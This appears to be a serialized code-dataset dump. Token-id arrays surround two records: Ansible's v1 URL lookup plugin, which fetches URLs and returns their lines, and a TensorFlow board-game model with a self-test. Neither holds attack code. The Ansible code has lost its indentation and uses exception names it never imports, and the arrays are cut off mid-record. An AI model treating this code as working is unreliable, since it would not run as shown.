1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
dirn/ansible
|
v1/ansible/runner/lookup_plugins/url.py
|
86
|
1588
|
# (c) 2015, Brian Coca <bcoca@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
from ansible import utils
import urllib2
class LookupModule(object):
def __init__(self, basedir=None, **kwargs):
self.basedir = basedir
def run(self, terms, inject=None, **kwargs):
terms = utils.listify_lookup_plugin_terms(terms, self.basedir, inject)
if isinstance(terms, basestring):
terms = [ terms ]
ret = []
for term in terms:
try:
r = urllib2.Request(term)
response = urllib2.urlopen(r)
except URLError, e:
utils.warnings("Failed lookup url for %s : %s" % (term, str(e)))
continue
except HTTPError, e:
utils.warnings("Received HTTP error for %s : %s" % (term, str(e)))
continue
for line in response.read().splitlines():
ret.append(line)
return ret
|
gpl-3.0
|
[
3,
334,
67,
9,
6900,
12,
699,
18429,
445,
679,
65,
665,
66,
331,
696,
32,
4853,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
504,
3242,
492,
3778,
199,
646,
4011,
18,
199,
199,
533,
12785,
2377,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
19380,
29,
403,
12,
1011,
958,
304,
267,
291,
14,
12484,
275,
19380,
339,
347,
1255,
8,
277,
12,
2895,
12,
16182,
29,
403,
12,
1011,
958,
304,
398,
2895,
275,
3778,
14,
513,
2021,
63,
3892,
63,
2718,
63,
9187,
8,
9187,
12,
291,
14,
12484,
12,
16182,
9,
398,
340,
1228,
8,
9187,
12,
7116,
304,
288,
2895,
275,
359,
2895,
1622,
398,
2203,
275,
942,
267,
367,
6707,
315,
2895,
26,
288,
862,
26,
355,
519,
275,
4011,
18,
14,
2017,
8,
5125,
9,
355,
1177,
275,
4011,
18,
14,
10890,
8,
82,
9,
288,
871,
30794,
12,
325,
26,
355,
3778,
14,
5451,
480,
4276,
4237,
1166,
367,
450,
83,
520,
450,
83,
2,
450,
334,
5125,
12,
620,
8,
69,
1724,
355,
1980,
288,
871,
15050,
12,
325,
26,
355,
3778,
14,
5451,
480,
9392,
3101,
1125,
367,
450,
83,
520,
450,
83,
2,
450,
334,
5125,
12,
620,
8,
69,
1724,
355,
1980,
953,
367,
1004,
315,
1177,
14,
739,
1252,
7644,
837,
355,
2203,
14,
740,
8,
604,
9,
398,
372,
2203,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
334,
67,
9,
6900,
12,
699,
18429,
445,
679,
65,
665,
66,
331,
696,
32,
4853,
14,
957,
30,
199,
3,
199,
3,
961,
570,
365,
1777,
402,
2622,
199,
3,
199,
3,
2622,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
652,
1334,
314,
2895,
402,
314,
1664,
1696,
1684,
844,
465,
3267,
701,
199,
3,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
844,
12,
503,
199,
3,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
2622,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
1664,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
1696,
1684,
844,
199,
3,
3180,
543,
2622,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
199,
504,
3242,
492,
3778,
199,
646,
4011,
18,
199,
199,
533,
12785,
2377,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
19380,
29,
403,
12,
1011,
958,
304,
267,
291,
14,
12484,
275,
19380,
339,
347,
1255,
8,
277,
12,
2895,
12,
16182,
29,
403,
12,
1011,
958,
304,
398,
2895,
275,
3778,
14,
513,
2021,
63,
3892,
63,
2718,
63,
9187,
8,
9187,
12,
291,
14,
12484,
12,
16182,
9,
398,
340,
1228,
8,
9187,
12,
7116,
304,
288,
2895,
275,
359,
2895,
1622,
398,
2203,
275,
942,
267,
367,
6707,
315,
2895,
26,
288,
862,
26,
355,
519,
275,
4011,
18,
14,
2017,
8,
5125,
9,
355,
1177,
275,
4011,
18,
14,
10890,
8,
82,
9,
288,
871,
30794,
12,
325,
26,
355,
3778,
14,
5451,
480,
4276,
4237,
1166,
367,
450,
83,
520,
450,
83,
2,
450,
334,
5125,
12,
620,
8,
69,
1724,
355,
1980,
288,
871,
15050,
12,
325,
26,
355,
3778,
14,
5451,
480,
9392,
3101,
1125,
367,
450,
83,
520,
450,
83,
2,
450,
334,
5125,
12,
620,
8,
69,
1724,
355,
1980,
953,
367,
1004,
315,
1177,
14,
739,
1252,
7644,
837,
355,
2203,
14,
740,
8,
604,
9,
398,
372,
2203,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
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-all/model.py
|
1
|
2810
|
#!/usr/bin/python3
#-*-coding:utf-8-*-
#$File: model.py
#$Date: Sat May 7 10:59:45 2016
#$Author: Like Ma <milkpku[at]gmail[dot]com>
from config import Config
import tensorflow as tf
import functools
from util.model import Model, conv2d
def get_model(name):
name = functools.partial('{}-{}'.format, name)
self_pos = tf.placeholder(Config.dtype, Config.data_shape, name='self_pos')
enemy_pos = tf.placeholder(Config.dtype, Config.data_shape, name='enemy_pos')
self_ability = tf.placeholder(Config.dtype, Config.data_shape, name='self_ability')
enemy_ability = tf.placeholder(Config.dtype, Config.data_shape, name='enemy_ability')
self_protect = tf.placeholder(Config.dtype, Config.data_shape, name='self_protect')
enemy_protect = tf.placeholder(Config.dtype, Config.data_shape, name='enemy_protect')
input_label = tf.placeholder(Config.dtype, Config.label_shape, name='input_label')
x = tf.concat(3, [self_pos, enemy_pos, self_ability, enemy_ability, self_protect, enemy_protect], name=name('input_concat'))
y = input_label
nl = tf.nn.tanh
def conv_pip(name, x):
name = functools.partial('{}_{}'.format, name)
x = conv2d(name('0'), x, Config.data_shape[3]*2, kernel=3, stride=1, nl=nl)
x = conv2d(name('1'), x, Config.data_shape[3], kernel=3, stride=1, nl=nl)
return x
for layer in range(5):
x_branch = conv_pip(name('conv%d'%layer), x)
x = tf.concat(3, [x,x_branch], name=name('concate%d'%layer))
x = conv_pip(name('conv5'), x)
x = tf.tanh(x, name=name('control_tanh'))
z = tf.mul(tf.exp(x), self_ability)
z_sum = tf.reduce_sum(z, reduction_indices=[1,2,3], name=name('partition_function')) # partition function
# another formula of y*logy
loss = -tf.reduce_sum(tf.mul(x, y), reduction_indices=[1,2,3]) + tf.log(z_sum)
z_sum = tf.reshape(z_sum, [-1, 1, 1, 1])
pred = tf.div(z, z_sum, name=name('predict'))
return Model([self_pos, enemy_pos, self_ability, enemy_ability, self_protect, enemy_protect], input_label, loss, pred, debug=z)
if __name__=='__main__':
model = get_model('test')
sess = tf.InteractiveSession()
sess.run(tf.initialize_all_variables())
import numpy as np
x_data = np.random.randint(2, size=[4,100,9,10,16]).astype('float32')
y_data = np.random.randint(2, size=[100,9,10,16]).astype('float32')
input_dict = {}
for var, data in zip(model.inputs, x_data):
input_dict[var] = data
input_dict[model.label] = y_data
loss_val = model.loss.eval(feed_dict=input_dict)
pred_val = model.pred.eval(feed_dict=input_dict)
print(loss_val)
# print(pred_val)
pred_val = pred_val.reshape(pred_val.shape[0], -1)
assert all(abs(pred_val.sum(axis=1)-1.0<1e-6))
print('model test OK')
|
mit
|
[
3381,
2647,
15,
1393,
15,
1548,
19,
199,
3,
13,
1837,
1523,
26,
1624,
13,
24,
13,
1837,
199,
3,
4,
1173,
26,
1402,
14,
647,
199,
3,
4,
2506,
26,
428,
292,
10162,
221,
1520,
1616,
26,
1427,
26,
2322,
7800,
199,
3,
4,
5949,
26,
16485,
16593,
665,
77,
382,
75,
2051,
85,
59,
292,
61,
6799,
59,
3287,
61,
957,
30,
199,
199,
504,
1101,
492,
4094,
199,
199,
646,
3228,
465,
2833,
199,
646,
9143,
199,
199,
504,
4884,
14,
1238,
492,
5822,
12,
8260,
18,
68,
199,
199,
318,
664,
63,
1238,
8,
354,
304,
272,
536,
275,
9143,
14,
6672,
17519,
13,
11123,
908,
12,
536,
9,
339,
291,
63,
1712,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
277,
63,
1712,
358,
272,
655,
69,
1662,
63,
1712,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
6349,
1662,
63,
1712,
358,
272,
291,
63,
3616,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
277,
63,
3616,
358,
272,
655,
69,
1662,
63,
3616,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
6349,
1662,
63,
3616,
358,
272,
291,
63,
18292,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
277,
63,
18292,
358,
272,
655,
69,
1662,
63,
18292,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
6349,
1662,
63,
18292,
358,
339,
1324,
63,
1302,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
1302,
63,
1392,
12,
536,
534,
1210,
63,
1302,
358,
339,
671,
275,
2833,
14,
9419,
8,
19,
12,
359,
277,
63,
1712,
12,
655,
69,
1662,
63,
1712,
12,
291,
63,
3616,
12,
655,
69,
1662,
63,
3616,
12,
291,
63,
18292,
12,
655,
69,
1662,
63,
18292,
467,
536,
29,
354,
360,
1210,
63,
9419,
1333,
272,
612,
275,
1324,
63,
1302,
339,
12992,
275,
2833,
14,
4411,
14,
21468,
339,
347,
8260,
63,
9983,
8,
354,
12,
671,
304,
267,
536,
275,
9143,
14,
6672,
17519,
63,
11123,
908,
12,
536,
9,
398,
671,
275,
8260,
18,
68,
8,
354,
360,
16,
659,
671,
12,
4094,
14,
576,
63,
1392,
59,
19,
3672,
18,
12,
5114,
29,
19,
12,
7345,
29,
17,
12,
12992,
29,
7530,
9,
267,
671,
275,
8260,
18,
68,
8,
354,
360,
17,
659,
671,
12,
4094,
14,
576,
63,
1392,
59,
19,
467,
5114,
29,
19,
12,
7345,
29,
17,
12,
12992,
29,
7530,
9,
267,
372,
671,
339,
367,
4045,
315,
1425,
8,
21,
304,
267,
671,
63,
4694,
275,
8260,
63,
9983,
8,
354,
360,
5598,
5,
68,
5956,
1897,
395,
671,
9,
267,
671,
275,
2833,
14,
9419,
8,
19,
12,
359,
88,
12,
88,
63,
4694,
467,
536,
29,
354,
360,
388,
1411,
5,
68,
5956,
1897,
430,
339,
671,
275,
8260,
63,
9983,
8,
354,
360,
5598,
21,
659,
671,
9,
272,
671,
275,
2833,
14,
21468,
8,
88,
12,
536,
29,
354,
360,
2785,
63,
21468,
1333,
272,
1315,
275,
2833,
14,
3703,
8,
3249,
14,
1474,
8,
88,
395,
291,
63,
3616,
9,
272,
1315,
63,
1838,
275,
2833,
14,
5270,
63,
1838,
8,
90,
12,
16773,
63,
4108,
1524,
17,
12,
18,
12,
19,
467,
536,
29,
354,
360,
5312,
63,
1593,
1333,
327,
6484,
805,
339,
327,
4573,
15723,
402,
612,
10,
4956,
272,
5621,
275,
446,
3249,
14,
5270,
63,
1838,
8,
3249,
14,
3703,
8,
88,
12,
612,
395,
16773,
63,
4108,
1524,
17,
12,
18,
12,
19,
566,
435,
2833,
14,
793,
8,
90,
63,
1838,
9,
272,
1315,
63,
1838,
275,
2833,
14,
5217,
8,
90,
63,
1838,
12,
5243,
17,
12,
413,
12,
413,
12,
413,
566,
272,
8869,
275,
2833,
14,
3015,
8,
90,
12,
1315,
63,
1838,
12,
536,
29,
354,
360,
6892,
1333,
272,
372,
5822,
779,
277,
63,
1712,
12,
655,
69,
1662,
63,
1712,
12,
291,
63,
3616,
12,
655,
69,
1662,
63,
3616,
12,
291,
63,
18292,
12,
655,
69,
1662,
63,
18292,
467,
1324,
63,
1302,
12,
5621,
12,
8869,
12,
3105,
29,
90,
9,
199,
199,
692,
636,
354,
363,
6803,
363,
973,
3706,
339,
1402,
275,
664,
63,
1238,
360,
396,
358,
272,
4043,
275,
2833,
14,
23879,
4434,
342,
272,
4043,
14,
1065,
8,
3249,
14,
8489,
63,
452,
63,
3669,
1012,
339,
492,
2680,
465,
980,
272,
671,
63,
576,
275,
980,
14,
2355,
14,
8393,
8,
18,
12,
1568,
1524,
20,
12,
1960,
12,
25,
12,
709,
12,
975,
6575,
6041,
360,
1609,
708,
358,
272,
612,
63,
576,
275,
980,
14,
2355,
14,
8393,
8,
18,
12,
1568,
1524,
1960,
12,
25,
12,
709,
12,
975,
6575,
6041,
360,
1609,
708,
358,
339,
1324,
63,
807,
275,
1052,
272,
367,
2729,
12,
666,
315,
3482,
8,
1238,
14,
3711,
12,
671,
63,
576,
304,
267,
1324,
63,
807,
59,
1391,
61,
275,
666,
272,
1324,
63,
807,
59,
1238,
14,
1302,
61,
275,
612,
63,
576,
339,
5621,
63,
637,
275,
1402,
14,
4358,
14,
2579,
8,
3871,
63,
807,
29,
1210,
63,
807,
9,
272,
8869,
63,
637,
275,
1402,
14,
5991,
14,
2579,
8,
3871,
63,
807,
29,
1210,
63,
807,
9,
272,
870,
8,
4358,
63,
637,
9,
272,
327,
870,
8,
5991,
63,
637,
9,
339,
8869,
63,
637,
275,
8869,
63,
637,
14,
5217,
8,
5991,
63,
637,
14,
1392,
59,
16,
467,
446,
17,
9,
272,
702,
1006,
8,
2101,
8,
5991,
63,
637,
14,
1838,
8,
3127,
29,
17,
7216,
17,
14,
16,
28,
17,
69,
13,
22,
430,
272,
870,
360,
1238,
511,
9949,
358,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1548,
19,
199,
3,
13,
1837,
1523,
26,
1624,
13,
24,
13,
1837,
199,
3,
4,
1173,
26,
1402,
14,
647,
199,
3,
4,
2506,
26,
428,
292,
10162,
221,
1520,
1616,
26,
1427,
26,
2322,
7800,
199,
3,
4,
5949,
26,
16485,
16593,
665,
77,
382,
75,
2051,
85,
59,
292,
61,
6799,
59,
3287,
61,
957,
30,
199,
199,
504,
1101,
492,
4094,
199,
199,
646,
3228,
465,
2833,
199,
646,
9143,
199,
199,
504,
4884,
14,
1238,
492,
5822,
12,
8260,
18,
68,
199,
199,
318,
664,
63,
1238,
8,
354,
304,
272,
536,
275,
9143,
14,
6672,
17519,
13,
11123,
908,
12,
536,
9,
339,
291,
63,
1712,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
277,
63,
1712,
358,
272,
655,
69,
1662,
63,
1712,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
6349,
1662,
63,
1712,
358,
272,
291,
63,
3616,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
277,
63,
3616,
358,
272,
655,
69,
1662,
63,
3616,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
6349,
1662,
63,
3616,
358,
272,
291,
63,
18292,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
277,
63,
18292,
358,
272,
655,
69,
1662,
63,
18292,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
576,
63,
1392,
12,
536,
534,
6349,
1662,
63,
18292,
358,
339,
1324,
63,
1302,
275,
2833,
14,
6199,
8,
2028,
14,
2271,
12,
4094,
14,
1302,
63,
1392,
12,
536,
534,
1210,
63,
1302,
358,
339,
671,
275,
2833,
14,
9419,
8,
19,
12,
359,
277,
63,
1712,
12,
655,
69,
1662,
63,
1712,
12,
291,
63,
3616,
12,
655,
69,
1662,
63,
3616,
12,
291,
63,
18292,
12,
655,
69,
1662,
63,
18292,
467,
536,
29,
354,
360,
1210,
63,
9419,
1333,
272,
612,
275,
1324,
63,
1302,
339,
12992,
275,
2833,
14,
4411,
14,
21468,
339,
347,
8260,
63,
9983,
8,
354,
12,
671,
304,
267,
536,
275,
9143,
14,
6672,
17519,
